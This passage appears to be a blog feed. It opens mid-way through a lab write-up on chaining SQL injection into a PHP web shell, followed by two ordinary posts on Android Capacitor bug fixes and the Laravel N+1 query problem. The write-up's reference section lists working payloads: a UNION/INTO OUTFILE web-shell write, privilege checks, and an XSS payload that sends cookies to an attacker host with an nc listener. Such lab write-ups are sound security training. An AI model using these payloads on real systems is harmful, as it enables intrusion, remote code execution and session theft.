id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'

URL-encoded:

id=1 union select 1,2,%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%20%3F%3E,4 INTO OUTFILE '/var/www/css/shell.php'

Then visited:

http://[VM_IP]/css/shell.php?cmd=whoami

The page returned:

1 2 www-data 4

Remote code execution achieved.

🧠 Lesson Learned

Web shells are simple: system($_GET["cmd"]) is enough.
URL-encode special characters in your SQL payloads.
Test with whoami or id first.

🏁 Epilogue: What I Learned

Phase	Key Takeaway
XSS	Always run your listener before injecting. The bot doesn't wait.
Session Hijacking	Stolen cookies = instant admin access.
SQL Injection	`and 1=2` is your best friend for UNION attacks.
FILE Privilege	`root@localhost` often means file write access.
Web Shell	`/var/www/css/` was writable — always check common web directories.

📝 Quick Reference Commands

XSS Payload (stored in comment)

<img src=x onerror="fetch('http://YOUR_IP:80/?'+document.cookie)">

Listener

nc -lnvp 80

Check current user

id=1 and 1=2 union select 1,user(),3,4

Check FILE privilege

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'

Write test file

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'

Write web shell

id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'

Execute command

http://[VM_IP]/css/shell.php?cmd=whoami

🎯 Final Thoughts

This lab taught me that hacking isn't about knowing all the answers.

It's about:

Reading error messages carefully
Being patient (the bot visits every minute, not every second)
Trying things even when I'm not sure
Not quitting when I get non-object errors for the 10th time

If you're stuck on this lab — keep going. The breakthrough is one payload away.

Now go break something else. 🔥

Debugging Android Backdrop Persistence: A Capacitor Story

ekko1500 — Mon, 30 Mar 2026 16:39:01 +0000

Porting a complex React app like Scratch-GUI to mobile using Capacitor can surface bugs that don't appear on desktop. Recently, we fixed a frustrating issue: backdrop edits (drawings and erasures) weren't saving in .sb3 files on Android.

Here's what went wrong and how we fixed it.

1. The Main Problem: Edits Weren't Saving

Two issues caused backdrop changes to disappear when saving.

A. Storage Configuration Typo

In storage.js, we had a typo in the asset storage config. It was trying to use invalid "create" and "update" helpers, triggering failed network requests in the Capacitor environment.

Fix: Corrected the typo and simplified addWebStore to only use the GET helper for local assets.

B. Save Button Didn't Commit Pending Edits

The Paint Editor (from scratch-paint) normally saves changes when you click away from the canvas. On Android, clicking the "Save" button didn't trigger that "focus lost" event, so the latest drawing wasn't being saved.

Fix: Added a manual sync step before saving — calling document.activeElement.blur() and waiting 100ms to ensure all edits were committed.

2. The reader.addEventListener Error

We hit a strange error: TypeError: reader.addEventListener is not a function — and it only appeared on Android.

It turns out that in some environments, FileReader doesn't fully support addEventListener. It only has onload and onerror callbacks.

Fix: Added a lightweight polyfill at app startup that adds addEventListener support to FileReader.prototype, mapping it to the existing handler properties.

3. Canvas Performance Warning

Android's WebView kept showing this warning:

Canvas2D: Multiple readback operations using getImageData are faster with the willReadFrequently attribute set to true.

This happens when the canvas is read often — like in Scratch's "touching color" blocks and paint editor fill tools.

Fix: Updated all getContext('2d') calls (in the loupe, video provider, and costume display) to include { willReadFrequently: true }. This tells the browser to optimize for frequent reads, making things much faster.

4. Touch Scrolling Felt Laggy

Chrome and WebView warn when non-passive event listeners are used on scroll-blocking events like touchstart. This can make scrolling feel sluggish.

Fix: Updated global touch handlers to use { passive: true }, letting the browser scroll immediately without waiting for JavaScript.

What We Learned

Cross-platform development isn't just about writing code — it's about understanding the subtle differences in runtime environments. A standard browser API like FileReader or Canvas2D can behave slightly differently in a WebView than in a desktop browser, and those differences can cause major issues in complex apps.

Key takeaway: Make sure your "save" logic works reliably across all input types (touch, mouse, keyboard), and don't hesitate to polyfill environment gaps to keep your libraries happy.

How I Solved Slow Page Loading Using the N+1 Query Fix (React + Laravel)

ekko1500 — Mon, 30 Mar 2026 06:24:46 +0000

When I first built my React + Laravel application, everything worked fine—until the data started growing.

Pages that used to load instantly began taking seconds. Then even longer.

At first, I thought it was a frontend issue. Maybe React was re-rendering too much. Maybe my components weren’t optimized.

I was wrong.

The real problem was happening in the backend—and it had a name: the N+1 query problem.

The Problem I Didn’t See at First

Let’s say I had something like this in my Laravel backend:

A list of students
Each student has marks
Each mark belongs to a subject

Simple, right?

But here’s what actually happened when I fetched data:

1 query to get students
Then N queries to get each student's related data

So if I had 100 students, I was running:
👉 101 queries

That’s the N+1 problem.

And it destroyed performance.

How I Discovered It

I started debugging the backend and noticed something strange:

The API response time was slow
Database queries were increasing with data size

So I used Laravel debugging tools and logs.

That’s when I saw it clearly:
👉 Queries were being executed inside loops

That’s the moment it clicked.

The Fix: Eager Loading

Laravel already has a solution for this: Eager Loading

Instead of fetching related data one-by-one, I loaded everything in a single query.

Before (Bad)

$students = Student::all();

foreach ($students as $student) {
    echo $student->marks; // triggers query every time
}

After (Good)

$students = Student::with('marks')->get();

Now:

Only 2 queries total
No matter how many students

Massive improvement.

Going Deeper: Nested Relationships

My case wasn’t that simple.

I had deeper relationships like:

students → marks → subjects

So I used nested eager loading:

$students = Student::with('marks.subject')->get();

Now everything loads efficiently in minimal queries.

Optimizing the API Response

Fixing queries wasn’t enough.

I also improved how data was sent to React.

What I changed:

Removed unnecessary fields
Used API Resources (Transformers)
Sent only what the UI actually needs

return StudentResource::collection($students);

This reduced payload size and improved speed.

React Side Optimization

After fixing Laravel, I improved React too.

1. Avoid Unnecessary Re-renders

I used:

useMemo
useCallback
Proper state structure

2. Lazy Loading Components

const Dashboard = React.lazy(() => import('./Dashboard'));

This reduced initial load time.

3. Efficient Data Fetching

Avoided duplicate API calls
Cached results when possible

The Result

After all optimizations:

Page load time dropped significantly
API became faster and more scalable
UI felt instant even with large data

What used to feel slow and heavy became smooth and responsive.

What I Learned

This experience taught me something important:

Performance problems are often not where you think they are.

I spent time looking at React—but the real issue was in the database.

Key Takeaways

Always watch for N+1 queries in backend systems
Use Eager Loading in Laravel (with())
Optimize API responses, not just queries
Frontend performance depends on backend efficiency

Final Thoughts

Fixing the N+1 query problem completely changed how I think about building applications.

Now, whenever I design a feature, I ask:

👉 How many queries will this run?

Because performance isn’t just about code—it’s about how systems interact.

And once you fix the root problem, everything becomes faster.